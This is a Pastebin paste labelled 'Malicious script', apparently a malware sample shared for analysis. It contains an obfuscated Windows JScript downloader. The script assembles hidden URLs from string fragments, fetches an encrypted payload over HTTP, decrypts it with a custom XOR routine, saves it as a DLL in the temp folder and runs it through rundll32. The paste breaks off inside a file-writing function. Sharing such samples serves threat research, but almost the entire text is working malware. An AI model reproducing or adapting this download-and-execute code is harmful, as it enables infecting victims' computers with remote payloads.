dynamoo

Malicious script

Sep 7th, 2016
509
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function e(){
  2.     var _hsiyudgfustdg = "WS"+""+"c"+"r"+"i"+"pt";
  3.     var _c = "\%Sy"+"st"+""+"em"+"Root\%\\s"+"ystem32\\cmd."+"ex"+"e";
  4.     /*@cc_on var _87867t67t6gt = this[_hsiyudgfustdg]["Cre"+"ateOb"+"ject"](_hsiyudgfustdg+".She"+"ll"); @*/
  5.     var _87g6sd5fg = _87867t67t6gt["En"+"vi"+""+"ron"+"men"+"t"]("SY"+"S"+"T"+"E"+"M");
  6.     var _dd = _87g6sd5fg("Com"+"S"+""+"pe"+"c");
  7.     if (_dd == _c) {return 1;}
  8.     else {this[this["_hsiyudgfustdg"]]["Qui"+""+"t"](1);};
  9. }
  10. e();
  11.  
  12. var Vu0 = "join" + "";
  13.  
  14. var Pp = "Code" + "";
  15.  
  16. var NOs = "Char" + "";
  17.  
  18. var OBc = "from" + "";
  19.  
  20. var GPe8 = "ngth" + "";
  21.  
  22. var Ob = "le" + "";
  23.  
  24. var Cl4 = "close" + "";
  25.  
  26. var Fj0 = "e" + "";
  27.  
  28. var PIj = "oFil" + "";
  29.  
  30. var Re = "veT" + "";
  31.  
  32. var LIw = "Sa" + "";
  33.  
  34. var COy = "ext" + "";
  35.  
  36. var Or = "iteT" + "";
  37.  
  38. var Sd = "wr" + "";
  39.  
  40. var CJj4 = "n" + "";
  41.  
  42. var Wt3 = "ope" + "";
  43.  
  44. var JHm = "rset" + "";
  45.  
  46. var Ru = "Cha" + "";
  47.  
  48. var Hd5 = "e" + "";
  49.  
  50. var MJq = "typ" + "";
  51.  
  52. var Fp = "m" + "";
  53.  
  54. var CDx = "rea" + "";
  55.  
  56. var WZk = "DB.St" + "";
  57.  
  58. var GHs = "O" + "";
  59.  
  60. var IFo = "D" + "";
  61.  
  62. var Vy = "A" + "";
  63.  
  64. var GUu = "t" + "";
  65.  
  66. var KPq4 = "bjec" + "";
  67.  
  68. var Gi6 = "eO" + "";
  69.  
  70. var Tl3 = "Creat" + "";
  71.  
  72. var Vc6 = "push" + "";
  73.  
  74. var Tc = "eAt" + "";
  75.  
  76. var CHe = "arCod" + "";
  77.  
  78. var Hj = "ch" + "";
  79.  
  80. var Zp5 = "h" + "";
  81.  
  82. var MIa = "lengt" + "";
  83.  
  84. var QSn = "e" + "";
  85.  
  86. var Ud0 = "clos" + "";
  87.  
  88. var Wf3 = "ext" + "";
  89.  
  90. var Kh6 = "ReadT" + "";
  91.  
  92. var TQh = "ile" + "";
  93.  
  94. var ASj3 = "romF" + "";
  95.  
  96. var Zm = "LoadF" + "";
  97.  
  98. var VOy4 = "en" + "";
  99.  
  100. var Tn8 = "op" + "";
  101.  
  102. var YUt5 = "et" + "";
  103.  
  104. var Xb = "Chars" + "";
  105.  
  106. var Xu7 = "e" + "";
  107.  
  108. var Gk = "typ" + "";
  109.  
  110. var XUy3 = "am" + "";
  111.  
  112. var DOz = "tre" + "";
  113.  
  114. var Ar5 = "DB.S" + "";
  115.  
  116. var NIw = "O" + "";
  117.  
  118. var Oe = "D" + "";
  119.  
  120. var QOu6 = "A" + "";
  121.  
  122. var JLt = "ject" + "";
  123.  
  124. var WGl5 = "teOb" + "";
  125.  
  126. var Sp3 = "Crea" + "";
  127.  
  128. var RUn = "h" + "";
  129.  
  130. var WAv = "ngt" + "";
  131.  
  132. var Ym4 = "le" + "";
  133.  
  134. var Wk = "h" + "";
  135.  
  136. var DRc = "lengt" + "";
  137.  
  138. var Sc1 = "e" + "";
  139.  
  140. var Pu20 = "lic" + "";
  141.  
  142. var Mx4 = "sp" + "";
  143.  
  144. var BRr1 = "th" + "";
  145.  
  146. var Fa = "leng" + "";
  147.  
  148. var WXz = "gth" + "";
  149.  
  150. var Wq = "len" + "";
  151.  
  152. var Xh4 = "h" + "";
  153.  
  154. var VCj0 = "lengt" + "";
  155.  
  156. var RFy = "th" + "";
  157.  
  158. var Vf = "leng" + "";
  159.  
  160. var Fq6 = "h" + "";
  161.  
  162. var OAk = "lengt" + "";
  163.  
  164. var BBi = "p" + "";
  165.  
  166. var Re5 = "Slee" + "";
  167.  
  168. var PDt = "23" + "";
  169.  
  170. var SYy8 = "y 3" + "";
  171.  
  172. var Bg4 = "ert" + "";
  173.  
  174. var Lc = ",qw" + "";
  175.  
  176. var Td7 = " " + "";
  177.  
  178. var Ea0 = "Run" + "";
  179.  
  180. var Kj = "th" + "";
  181.  
  182. var LMn = "leng" + "";
  183.  
  184. var PAj9 = "th" + "";
  185.  
  186. var Ds = "ng" + "";
  187.  
  188. var LUb = "le" + "";
  189.  
  190. var Lx = "close" + "";
  191.  
  192. var Sq1 = "le" + "";
  193.  
  194. var Da7 = "oFi" + "";
  195.  
  196. var Sd7 = "SaveT" + "";
  197.  
  198. var IDd2 = "n" + "";
  199.  
  200. var VWu = "io" + "";
  201.  
  202. var Gv7 = "it" + "";
  203.  
  204. var AAk4 = "pos" + "";
  205.  
  206. var Ah = "ody" + "";
  207.  
  208. var Tp0 = "nseB" + "";
  209.  
  210. var Wa = "spo" + "";
  211.  
  212. var WTw8 = "Re" + "";
  213.  
  214. var BBw = "te" + "";
  215.  
  216. var Qw = "wri" + "";
  217.  
  218. var Kp = "type" + "";
  219.  
  220. var Tp = "open" + "";
  221.  
  222. var Dg = "m" + "";
  223.  
  224. var FId = "rea" + "";
  225.  
  226. var In2 = "DB.St" + "";
  227.  
  228. var Hm = "O" + "";
  229.  
  230. var St0 = "D" + "";
  231.  
  232. var CKl8 = "A" + "";
  233.  
  234. var Dx = "t" + "";
  235.  
  236. var DDv = "Objec" + "";
  237.  
  238. var Mi = "ate" + "";
  239.  
  240. var Hg = "Cre" + "";
  241.  
  242. var USp = "p" + "";
  243.  
  244. var XOz1 = "Slee" + "";
  245.  
  246. var PAw1 = "send" + "";
  247.  
  248. var Pi0 = "gth" + "";
  249.  
  250. var Pm = "len" + "";
  251.  
  252. var Mg7 = "GET" + "";
  253.  
  254. var RXm8 = "n" + "";
  255.  
  256. var ISb5 = "ope" + "";
  257.  
  258. var ZJo = "ngth" + "";
  259.  
  260. var Ba10 = "le" + "";
  261.  
  262. var Ny6 = "t" + "";
  263.  
  264. var He = "Qui" + "";
  265.  
  266. var WZw = "t" + "";
  267.  
  268. var Ut = "ip" + "";
  269.  
  270. var Zs = "WScr" + "";
  271.  
  272. var KUa = "sts" + "";
  273.  
  274. var EBq9 = "eExi" + "";
  275.  
  276. var Hk0 = "Fil" + "";
  277.  
  278. var Rj = ".txt" + "";
  279.  
  280. var QCq9 = "s" + "";
  281.  
  282. var YUz = "xist" + "";
  283.  
  284. var Po = "FileE" + "";
  285.  
  286. var Gq = "t" + "";
  287.  
  288. var YSz3 = "bjec" + "";
  289.  
  290. var Dp4 = "emO" + "";
  291.  
  292. var Np = "eSyst" + "";
  293.  
  294. var TYr1 = "il" + "";
  295.  
  296. var Cl1 = ".F" + "";
  297.  
  298. var QZf7 = "ng" + "";
  299.  
  300. var KKr2 = "ipti" + "";
  301.  
  302. var NAp9 = "Scr" + "";
  303.  
  304. var DQo = "ject" + "";
  305.  
  306. var BFi = "eOb" + "";
  307.  
  308. var HNn0 = "Creat" + "";
  309.  
  310. var Kk = "h" + "";
  311.  
  312. var Lq1 = "gt" + "";
  313.  
  314. var Rd = "len" + "";
  315.  
  316. var WGs = "5.1" + "";
  317.  
  318. var Av4 = "est." + "";
  319.  
  320. var HYr = "qu" + "";
  321.  
  322. var Ru4 = "Re" + "";
  323.  
  324. var Jr9 = "Http" + "";
  325.  
  326. var FBp5 = ".Win" + "";
  327.  
  328. var ENk4 = "tp" + "";
  329.  
  330. var Wo = "WinHt" + "";
  331.  
  332. var DQe = "HTTP" + "";
  333.  
  334. var Ao4 = "XML" + "";
  335.  
  336. var OMi0 = "2." + "";
  337.  
  338. var NLq = "MSXML" + "";
  339.  
  340. var Xz = "r" + "";
  341.  
  342. var GRb = "floo" + "";
  343.  
  344. var Ea = "%SystemRoot%\\system32\\rundll32.exe" + "";
  345.  
  346. var Bs8 = "%SystemRoot%\\SysWOW64\\rundll32.exe" + "";
  347.  
  348. var BMc = "4" + "";
  349.  
  350. var YZg2 = "d6" + "";
  351.  
  352. var PUb = "am" + "";
  353.  
  354. var SVg = "RE" + "";
  355.  
  356. var ZPt = "ECTU" + "";
  357.  
  358. var Bp2 = "IT" + "";
  359.  
  360. var ZGd7 = "CH" + "";
  361.  
  362. var Ya = "R_AR" + "";
  363.  
  364. var Wq6 = "ESSO" + "";
  365.  
  366. var WFb = "PROC" + "";
  367.  
  368. var ZLu = "em" + "";
  369.  
  370. var IZr = "Syst" + "";
  371.  
  372. var Hn0 = "ll" + "";
  373.  
  374. var ZNj = ".d" + "";
  375.  
  376. var KTx = "7acfJ" + "";
  377.  
  378. var Pi2 = "Zb" + "";
  379.  
  380. var BZr = "m06H" + "";
  381.  
  382. var GBg = "JC850" + "";
  383.  
  384. var Qc7 = "%/" + "";
  385.  
  386. var Xs = "%TEMP" + "";
  387.  
  388. var LQg = "ell" + "";
  389.  
  390. var Gm1 = "Sh" + "";
  391.  
  392. var UAj = "ript." + "";
  393.  
  394. var BCt = "WSc" + "";
  395.  
  396. var Px9 = "t" + "";
  397.  
  398. var Ag = "Objec" + "";
  399.  
  400. var DXl1 = "ate" + "";
  401.  
  402. var TPc8 = "Cre" + "";
  403.  
  404. var Oi = "qs" + "";
  405.  
  406. var OPo = "zu" + "";
  407.  
  408. var AUi = "in/ep" + "";
  409.  
  410. var Tp7 = "o." + "";
  411.  
  412. var PVg7 = "s.c" + "";
  413.  
  414. var BUu7 = "su" + "";
  415.  
  416. var Of3 = "er" + "";
  417.  
  418. var Nc = "uy" + "";
  419.  
  420. var Tf9 = "fb" + "";
  421.  
  422. var LEa4 = "to" + "";
  423.  
  424. var ZDn = "is" + "";
  425.  
  426. var DFu = "//l" + "";
  427.  
  428. var Nd1 = "tp:" + "";
  429.  
  430. var YBm9 = "ht" + "";
  431.  
  432. var XAg = "b6" + "";
  433.  
  434. var Ei3 = "fe" + "";
  435.  
  436. var Tn = "a" + "";
  437.  
  438. var QXr = "s/" + "";
  439.  
  440. var Kj4 = ".w" + "";
  441.  
  442. var Oz = "4k" + "";
  443.  
  444. var Vp = "ideo" + "";
  445.  
  446. var Oa9 = "v" + "";
  447.  
  448. var EXd = "er" + "";
  449.  
  450. var EDr2 = "nsup" + "";
  451.  
  452. var Kp0 = "no" + "";
  453.  
  454. var Pr = "://ca" + "";
  455.  
  456. var QLu = "http" + "";
  457.  
  458. var Wu = "f" + "";
  459.  
  460. var LLy5 = "g" + "";
  461.  
  462. var GBr2 = "dgly" + "";
  463.  
  464. var Cn = "s" + "";
  465.  
  466. var FOl7 = "/f" + "";
  467.  
  468. var SJa = "ng" + "";
  469.  
  470. var FAi2 = ".wa" + "";
  471.  
  472. var Ek = "l" + "";
  473.  
  474. var JPy = "al" + "";
  475.  
  476. var BEs = "st" + "";
  477.  
  478. var VHj4 = "win" + "";
  479.  
  480. var UAd = "al" + "";
  481.  
  482. var Un6 = "/m" + "";
  483.  
  484. var Au = "tp:/" + "";
  485.  
  486. var Vc2 = "ht" + "";
  487.  
  488. var AZt0 = "f" + "";
  489.  
  490. var Pa = "g" + "";
  491.  
  492. var TSa = "dgly" + "";
  493.  
  494. var Sj3 = "s" + "";
  495.  
  496. var Kq = "/f" + "";
  497.  
  498. var WBq = "g" + "";
  499.  
  500. var Cl = "an" + "";
  501.  
  502. var ULs4 = ".w" + "";
  503.  
  504. var OHi6 = "tall" + "";
  505.  
  506. var Hk = "ns" + "";
  507.  
  508. var Rq0 = "alwi" + "";
  509.  
  510. var KFg2 = "m" + "";
  511.  
  512. var WTv = "//" + "";
  513.  
  514. var KZw0 = ":" + "";
  515.  
  516. var Jq = "tp" + "";
  517.  
  518. var Jg4 = "ht" + "";
  519.  
  520. var UPz = "k1o" + "";
  521.  
  522. var QPy = "ecf2" + "";
  523.  
  524. var Hp = ".ws/" + "";
  525.  
  526. var GSm7 = "e" + "";
  527.  
  528. var Lj = "in" + "";
  529.  
  530. var Rq = "el" + "";
  531.  
  532. var MLu6 = "ybas" + "";
  533.  
  534. var Uo = "hm" + "";
  535.  
  536. var Wd8 = "uc" + "";
  537.  
  538. var Dm0 = "to" + "";
  539.  
  540. var JKy = "nt" + "";
  541.  
  542. var NGo5 = "o" + "";
  543.  
  544. var SKm = "/d" + "";
  545.  
  546. var VRp5 = ":/" + "";
  547.  
  548. var Ra = "tp" + "";
  549.  
  550. var Ba1 = "ht" + "";
  551.  
  552. var KBk4 = "437" + "";
  553.  
  554. var KWe1 = "h" + "";
  555.  
  556. var PZz3 = "lengt" + "";
  557.  
  558. var Pm2 = "qqqq" + "";
  559.  
  560. var OXa = "qqqq" + "";
  561.  
  562. var PAj0 = "qq" + "";
  563.  
  564. var ISq = "qq" + "";
  565.  
  566. var Un2 = "qq" + "";
  567.  
  568. var EAy2 = "qq" + "";
  569.  
  570. var TZb = "qqq" + "";
  571.  
  572. var Lt = "sfd" + "";
  573.  
  574. var FSk2 = "asdfa" + "";
  575.  
  576. var Xl4 = "asf" + "";
  577.  
  578. var DFe = "h" + "";
  579.  
  580. var TOd = "lengt" + "";
  581.  
  582. var Dm = "qq" + "";
  583.  
  584. var Kh = "qqqqq" + "";
  585.  
  586. var UWm7 = "qq" + "";
  587.  
  588. var EVx9 = "gth" + "";
  589.  
  590. var Ak3 = "len" + "";
  591.  
  592. var Un = "q" + "";
  593.  
  594. var LKr = "qqq" + "";
  595.  
  596. var JFa2 = "qqqq" + "";
  597.  
  598. var Bl8 = "qqqqq" + "";
  599.  
  600. var Dd2 = "qqqqq" + "";
  601.  
  602. var Pu2 = "qqqqq" + "";
  603.  
  604. var XKj = "qq" + "";
  605.  
  606. var Bq = "32" + "";
  607.  
  608. var EAt7 = "231" + "";
  609.  
  610. var CZc7 = "11" + "";
  611.  
  612. var Hn=(CZc7 + EAt7 + Bq, XKj + Pu2 + Dd2 + Bl8 + JFa2 + LKr + Un);
  613.  
  614. var Uv=Hn[Ak3 + EVx9];
  615.  
  616. var WBe=(UWm7 + Kh + Dm);
  617.  
  618. var Vu = [6211, 110, 8491];
  619.  
  620. var Ww=WBe[Ak3 + EVx9];
  621.  
  622. var MOk3=(Xl4 + FSk2 + Lt, TZb + EAy2 + Un2 + ISq + PAj0 + OXa + Pm2);
  623.  
  624. var Ma6=MOk3[Ak3 + EVx9];
  625.  
  626.  
  627.  
  628. var Yz=1 * 1;
  629.  
  630. var Fm=2;
  631.  
  632. var Nt5=2;
  633.  
  634. var Xl3="437";
  635.  
  636.  
  637.  
  638. var IGv7=[Ba1+Ra+VRp5 + SKm + NGo5+JKy+Dm0+Wd8+Uo+MLu6+Rq + Lj + GSm7+Hp+QPy+UPz, Ba1+Jq + KZw0+WTv + KFg2+Rq0+Hk+OHi6+ULs4+Cl + WBq+Kq + Sj3+TSa + Pa+AZt0, Ba1+Au+Un6 + UAd+VHj4+BEs+JPy + Ek+FAi2+SJa+Kq + Sj3+TSa + Pa+AZt0, QLu+Pr+Kp0+EDr2+EXd + Oa9+Vp+Oz+ULs4+QXr + Tn+Ei3+XAg, Ba1+Jq + KZw0+DFu + ZDn+LEa4 + Tf9+Nc + Of3+BUu7+PVg7 + Tp7+AUi+OPo + Oi];
  639.  
  640. var MBi0=WScript[TPc8 + DXl1 + Ag + Px9](BCt + UAj + Gm1 + LQg);
  641.  
  642. var XWe=MBi0.ExpandEnvironmentStrings(Xs + Qc7);
  643.  
  644. var NQf6=XWe + GBg + BZr + Pi2 + KTx;
  645.  
  646. var GLq=NQf6 + ZNj + Hn0;
  647.  
  648.  
  649.  
  650. var Uw = MBi0.Environment(IZr + ZLu);
  651.  
  652. if (Uw(WFb + Wq6 + Ya + ZGd7 + Bp2 + ZPt + SVg).toLowerCase() == "amd64")
  653.  
  654. {
  655.  
  656.     var UFn4 = MBi0.ExpandEnvironmentStrings(Bs8);
  657.  
  658. }
  659.  
  660. else
  661.  
  662. {
  663.  
  664.     var UFn4 = MBi0.ExpandEnvironmentStrings(Ea);
  665.  
  666. }
  667.  
  668.  
  669.  
  670. function random(range, s)
  671.  
  672. {
  673.  
  674.     s[0] = 171 * s[-3615 + 3615] % 30269;
  675.  
  676.     s[1] = 172 * s[1 * 1] % (3640 * 8 + 1187);
  677.  
  678.     s[2] = 170 * s[2] % 30323;
  679.  
  680.     var r = (s[0]/(8972 * 3 + 3353) + s[-9165 + 9166]/30307 + s[2]/(23877 + 6446)) % 1.0;
  681.  
  682.     return Math[GRb + Xz](r * range);
  683.  
  684. }
  685.  
  686.  
  687.  
  688. var SPz0=[NLq + OMi0 + Ao4 + DQe, Wo + ENk4 + FBp5 + Jr9 + Ru4 + HYr + Av4 + WGs];
  689.  
  690.  
  691.  
  692. for (var Lp9=0; Lp9 < SPz0[Ak3 + EVx9]; Lp9++)
  693.  
  694. {
  695.  
  696.     try
  697.  
  698.     {
  699.  
  700.         var MTm6=WScript[TPc8 + DXl1 + Ag + Px9](SPz0[Lp9]);
  701.  
  702.         break;
  703.  
  704.     }
  705.  
  706.     catch (e)
  707.  
  708.     {
  709.  
  710.         continue;
  711.  
  712.     }
  713.  
  714. };
  715.  
  716.  
  717.  
  718. var OPr3 = "";
  719.  
  720. var fso = new ActiveXObject(NAp9 + KKr2 + QZf7 + Cl1 + TYr1 + Np + Dp4 + YSz3 + Gq);
  721.  
  722.    
  723.  
  724. var ENa6 = Vu.slice();
  725.  
  726. ENa6[1 * 0] = Math.random() * (37488 - 7489) | 0;
  727.  
  728.  
  729.  
  730. var ELs=1;
  731.  
  732. do
  733.  
  734. {
  735.  
  736.     if (fso[Po + YUz + QCq9](GLq))
  737.  
  738.     {
  739.  
  740.         var Em = fso.GetFile(GLq);
  741.  
  742.         var Nq = Em.ShortPath;
  743.  
  744.         OPr3 = Nq+Rj;
  745.  
  746.         if (fso[Po + YUz + QCq9](OPr3)) {this[Zs + Ut + WZw][He + Ny6](0);}
  747.  
  748.     }
  749.  
  750.    
  751.  
  752.     var HFw3 = random(IGv7[Ak3 + EVx9], ENa6);
  753.  
  754.  
  755.  
  756.     try
  757.  
  758.     {
  759.  
  760.         if (1== ELs)
  761.  
  762.         {
  763.  
  764.             MTm6[ISb5 + RXm8](Mg7, IGv7[HFw3++ % IGv7[Ak3 + EVx9]], false);
  765.  
  766.             MTm6[PAw1]();
  767.  
  768.         }
  769.  
  770.        
  771.  
  772.         if (MTm6.readystate < 4)
  773.  
  774.         {
  775.  
  776.             WScript[XOz1 + USp](-8307 + 8407);
  777.  
  778.             continue;
  779.  
  780.         }
  781.  
  782.        
  783.  
  784.         var Nf=WScript[TPc8 + DXl1 + Ag + Px9](CKl8+St0+Hm+In2 + FId + Dg);
  785.  
  786.         Nf[ISb5 + RXm8]();
  787.  
  788.         Nf[Kp]=Yz;
  789.  
  790.         Nf[Qw + BBw](MTm6[WTw8 + Wa + Tp0 + Ah]);
  791.  
  792.         Nf[AAk4 + Gv7 + VWu + IDd2]=1 * 0;
  793.  
  794.         Nf[Sd7 + Da7 + Sq1](NQf6, Nt5);
  795.  
  796.         Nf[Lx]();
  797.  
  798.    
  799.  
  800.         var CJf2=OMb(NQf6);    
  801.  
  802.         CJf2=HIi(CJf2 /* W  */);
  803.  
  804.         if (CJf2[Ak3 + EVx9] < 100 * 1024 || CJf2[Ak3 + EVx9] > 230 * 1024 || !XHw6(CJf2 /* W  */))
  805.  
  806.         {
  807.  
  808.             ELs=1;
  809.  
  810.             continue;
  811.  
  812.         }
  813.  
  814.         try
  815.  
  816.         {
  817.  
  818.             IGi2(GLq, CJf2 /* W  */);
  819.  
  820.         }
  821.  
  822.         catch (e) {break;};
  823.  
  824.        
  825.  
  826.         var Em = fso.GetFile(GLq);
  827.  
  828.         var Nq = Em.ShortPath;
  829.  
  830.        
  831.  
  832.         MBi0[Ea0](UFn4 + Td7 + Nq + Lc + Bg4 + SYy8 + PDt);
  833.  
  834.         WScript.Sleep(3000);
  835.  
  836.     }
  837.  
  838.     catch (e) {WScript[XOz1 + USp](1000); continue;};
  839.  
  840. } while (ELs);
  841.  
  842.  
  843.  
  844. WScript.Quit(0);
  845.  
  846.  
  847.  
  848. function HIi(JEc3)
  849.  
  850. {
  851.  
  852.     var AJf;
  853.  
  854.     var TIk = Vu.slice();
  855.  
  856.    
  857.  
  858.     for (var Lp9=1 * 0; Lp9 < JEc3[Ak3 + EVx9]; Lp9++)
  859.  
  860.     {
  861.  
  862.         JEc3[Lp9] ^= random(256, TIk);
  863.  
  864.     }
  865.  
  866.  
  867.  
  868.     var Zm6=JEc3[JEc3[Ak3 + EVx9]-4] | JEc3[JEc3[Ak3 + EVx9]-3] << 8 | JEc3[JEc3[Ak3 + EVx9]-2] << 16 | JEc3[JEc3[Ak3 + EVx9]-1] << 24;
  869.  
  870.     JEc3[Mx4 + Pu20 + Sc1](CJf2[Ak3 + EVx9]-4, 4);
  871.  
  872.    
  873.  
  874.     AJf=Uv;
  875.  
  876.     for (var Lp9=0; Lp9 < JEc3[Ak3 + EVx9]; Lp9++)
  877.  
  878.     {
  879.  
  880.         AJf=(AJf + JEc3[Lp9]) % (306748247 * 3 + 79755259);
  881.  
  882.     };
  883.  
  884.     if (AJf != Zm6 /* W  */) {return [];};
  885.  
  886.    
  887.  
  888.     return JEc3;
  889.  
  890. };
  891.  
  892.  
  893.  
  894.  
  895.  
  896. function XHw6(JEc3)
  897.  
  898. {
  899.  
  900.     if (JEc3[0]== 0x4D && JEc3[9284 - 9283]== 0x5a)
  901.  
  902.         {return true;}
  903.  
  904.     else
  905.  
  906.         {return false;}
  907.  
  908. };
  909.  
  910.  
  911.  
  912.  
  913.  
  914. function OMb(Lj4)
  915.  
  916. {
  917.  
  918.     var QAl8=WScript[TPc8 + DXl1 + Ag + Px9](CKl8+St0+Hm+In2 + FId + Dg);
  919.  
  920.     QAl8[Kp]=Fm /* W  */;
  921.  
  922.     QAl8[Xb + YUt5]=Xl3;
  923.  
  924.     QAl8[ISb5 + RXm8]();
  925.  
  926.     QAl8[Zm + ASj3 + TQh](Lj4);
  927.  
  928.     var DAb4=QAl8[Kh6 + Wf3];
  929.  
  930.     QAl8[Lx]();
  931.  
  932.     return St(DAb4);
  933.  
  934. };
  935.  
  936.  
  937.  
  938.  
  939.  
  940. function St(IBx3)
  941.  
  942. {  
  943.  
  944. var Vi5=new Array();
  945.  
  946.    
  947.  
  948. Vi5[199]=128;
  949.  
  950. Vi5[105 * 2 + 42]=129;
  951.  
  952. Vi5[233]=6869 - 6739;
  953.  
  954. Vi5[226]=131;
  955.  
  956. Vi5[228]=132;
  957.  
  958. Vi5[45 * 4 + 44]=133;
  959.  
  960. Vi5[229]=134;
  961.  
  962. Vi5[231]=135;
  963.  
  964. Vi5[234]=136;
  965.  
  966. Vi5[235]=-6855 + 6992;
  967.  
  968. Vi5[232]=-5906 + 6044;
  969.  
  970. Vi5[239]=-9197 + 9336;
  971.  
  972. Vi5[238]=140;
  973.  
  974. Vi5[236]=141;
  975.  
  976. Vi5[196]=-9296 + 9438;
  977.  
  978. Vi5[-1596 + 1793]=-2580 + 2723;
  979.  
  980. Vi5[201]=144;
  981.  
  982. Vi5[89 * 2 + 52]=145;
  983.  
  984. Vi5[198]=146;
  985.  
  986. Vi5[244]=147;
  987.  
  988. Vi5[246]=148;
  989.  
  990. Vi5[242]=149;
  991.  
  992. Vi5[251]=150;
  993.  
  994. Vi5[249]=23 * 6 + 13;
  995.  
  996. Vi5[255]=152;
  997.  
  998. Vi5[214]=153;
  999.  
  1000. Vi5[220]=154;
  1001.  
  1002. Vi5[162]=155;
  1003.  
  1004. Vi5[-3297 + 3460]=156;
  1005.  
  1006. Vi5[11 * 15]=157;
  1007.  
  1008. Vi5[8359]=158;
  1009.  
  1010. Vi5[402]=159;
  1011.  
  1012. Vi5[-5391 + 5616]=8 * 20;
  1013.  
  1014. Vi5[3938 - 3701]=161;
  1015.  
  1016. Vi5[243]=162;
  1017.  
  1018. Vi5[250]=163;
  1019.  
  1020. Vi5[241]=164;
  1021.  
  1022. Vi5[209]=-1450 + 1615;
  1023.  
  1024. Vi5[170]=166;
  1025.  
  1026. Vi5[186]=167;
  1027.  
  1028. Vi5[56 * 3 + 23]=168;
  1029.  
  1030. Vi5[8976]=169;
  1031.  
  1032. Vi5[172]=170;
  1033.  
  1034. Vi5[189]=171;
  1035.  
  1036. Vi5[188]=-258 + 430;
  1037.  
  1038. Vi5[13 * 12 + 5]=-2263 + 2436;
  1039.  
  1040. Vi5[171]=174;
  1041.  
  1042. Vi5[187]=175;
  1043.  
  1044. Vi5[9617]=176;
  1045.  
  1046. Vi5[3968 * 2 + 1682]=177;
  1047.  
  1048. Vi5[9619]=178;
  1049.  
  1050. Vi5[9474]=29 * 6 + 5;
  1051.  
  1052. Vi5[9508]=180;
  1053.  
  1054. Vi5[16909 - 7340]=15 * 12 + 1;
  1055.  
  1056. Vi5[8516 + 1054]=182;
  1057.  
  1058. Vi5[9558]=183;
  1059.  
  1060. Vi5[9557]=184;
  1061.  
  1062. Vi5[9571]=-3147 + 3332;
  1063.  
  1064. Vi5[9553]=186;
  1065.  
  1066. Vi5[9559]=187;
  1067.  
  1068. Vi5[9565]=188;
  1069.  
  1070. Vi5[9564]=189;
  1071.  
  1072. Vi5[12989 - 3426]=190;
  1073.  
  1074. Vi5[9488]=191;
  1075.  
  1076. Vi5[10154 - 662]=-1925 + 2117;
  1077.  
  1078. Vi5[9524]=945 - 752;
  1079.  
  1080. Vi5[9516]=194;
  1081.  
  1082. Vi5[9500]=195;          
  1083.  
  1084. Vi5[9472]=196;
  1085.  
  1086. Vi5[9532]=197;
  1087.  
  1088. Vi5[15033 - 5467]=198;
  1089.  
  1090. Vi5[9567]=-3528 + 3727;
  1091.  
  1092. Vi5[10506 - 944]=200;
  1093.  
  1094. Vi5[9556]=25 * 8 + 1;
  1095.  
  1096. Vi5[11499 - 1922]=202;
  1097.  
  1098. Vi5[9574]=203;
  1099.  
  1100. Vi5[9568]=8981 - 8777;
  1101.  
  1102. Vi5[9552]=48 * 4 + 13;
  1103.  
  1104. Vi5[1162 * 8 + 284]=206;
  1105.  
  1106. Vi5[9575]=7239 - 7032;
  1107.  
  1108. Vi5[9576]=28 * 7 + 12;
  1109.  
  1110. Vi5[9572]=209;
  1111.  
  1112. Vi5[9573]=210;
  1113.  
  1114. Vi5[9561]=211;
  1115.  
  1116. Vi5[9560]=76 * 2 + 60;
  1117.  
  1118. Vi5[9554]=213;
  1119.  
  1120. Vi5[17582 - 8027]=214;
  1121.  
  1122. Vi5[9579]=215;
  1123.  
  1124. Vi5[9578]=216;
  1125.  
  1126. Vi5[9496]=217;
  1127.  
  1128. Vi5[9484]=5258 - 5040;
  1129.  
  1130. Vi5[9608]=219;
  1131.  
  1132. Vi5[9604]=220;
  1133.  
  1134. Vi5[9612]=9551 - 9330;
  1135.  
  1136. Vi5[9616]=222;
  1137.  
  1138. Vi5[19185 - 9585]=223;
  1139.  
  1140. Vi5[945]=10156 - 9932;
  1141.  
  1142. Vi5[223]=-3401 + 3626;
  1143.  
  1144. Vi5[831 + 84]=226;
  1145.  
  1146. Vi5[960]=227;
  1147.  
  1148. Vi5[931]=228;
  1149.  
  1150. Vi5[-2284 + 3247]=229;
  1151.  
  1152. Vi5[181]=230;
  1153.  
  1154. Vi5[-1590 + 2554]=231;
  1155.  
  1156. Vi5[934]=232;
  1157.  
  1158. Vi5[920]=233;
  1159.  
  1160. Vi5[937]=62 * 3 + 48;
  1161.  
  1162. Vi5[948]=235;
  1163.  
  1164. Vi5[8734]=236;
  1165.  
  1166. Vi5[966]=237;
  1167.  
  1168. Vi5[949]=238;
  1169.  
  1170. Vi5[8745]=239;
  1171.  
  1172. Vi5[8801]=10198 - 9958;
  1173.  
  1174. Vi5[177]=241;
  1175.  
  1176. Vi5[3449 * 2 + 1907]=45 * 5 + 17;
  1177.  
  1178. Vi5[76 + 8728]=243;
  1179.  
  1180. Vi5[8992]=244;
  1181.  
  1182. Vi5[9286 - 293]=245;
  1183.  
  1184. Vi5[247]=246;
  1185.  
  1186. Vi5[8776]=247;
  1187.  
  1188. Vi5[176]=248;
  1189.  
  1190. Vi5[8729]=249;
  1191.  
  1192. Vi5[183]=250;
  1193.  
  1194. Vi5[8730]=92 * 2 + 67;
  1195.  
  1196. Vi5[8319]=-1653 + 1905;
  1197.  
  1198. Vi5[178]=253;
  1199.  
  1200. Vi5[9632]=254;
  1201.  
  1202. Vi5[160]=255;
  1203.  
  1204.    
  1205.  
  1206.     var CJf2=new Array();
  1207.  
  1208.     for (var Lp9=0; Lp9 < IBx3[Ak3 + EVx9]; Lp9++)
  1209.  
  1210.     {
  1211.  
  1212.         var El=IBx3[Hj + CHe + Tc](Lp9);
  1213.  
  1214.         if (El < 128)
  1215.  
  1216.             {var IDz0=El;}
  1217.  
  1218.         else
  1219.  
  1220.             {var IDz0=Vi5[El];}
  1221.  
  1222.         CJf2[Vc6](IDz0);
  1223.  
  1224.     };
  1225.  
  1226.    
  1227.  
  1228.     return CJf2 /* W  */;
  1229.  
  1230. };
  1231.  
  1232.  
  1233.  
  1234. function IGi2(Lj4, JEc3)
  1235.  
  1236. {
  1237.  
  1238.     var QAl8=WScript[TPc8 + DXl1 + Ag + Px9](CKl8+St0+Hm+In2 + FId + Dg);
  1239.  
  1240.     QAl8[Kp]=Fm /* W  */;
  1241.  
  1242.     QAl8[Xb + YUt5]=Xl3;        
  1243.  
  1244.     QAl8[ISb5 + RXm8]();
  1245.  
  1246.     QAl8[Sd + Or + COy](Kx1 /* W  */(JEc3));
  1247.  
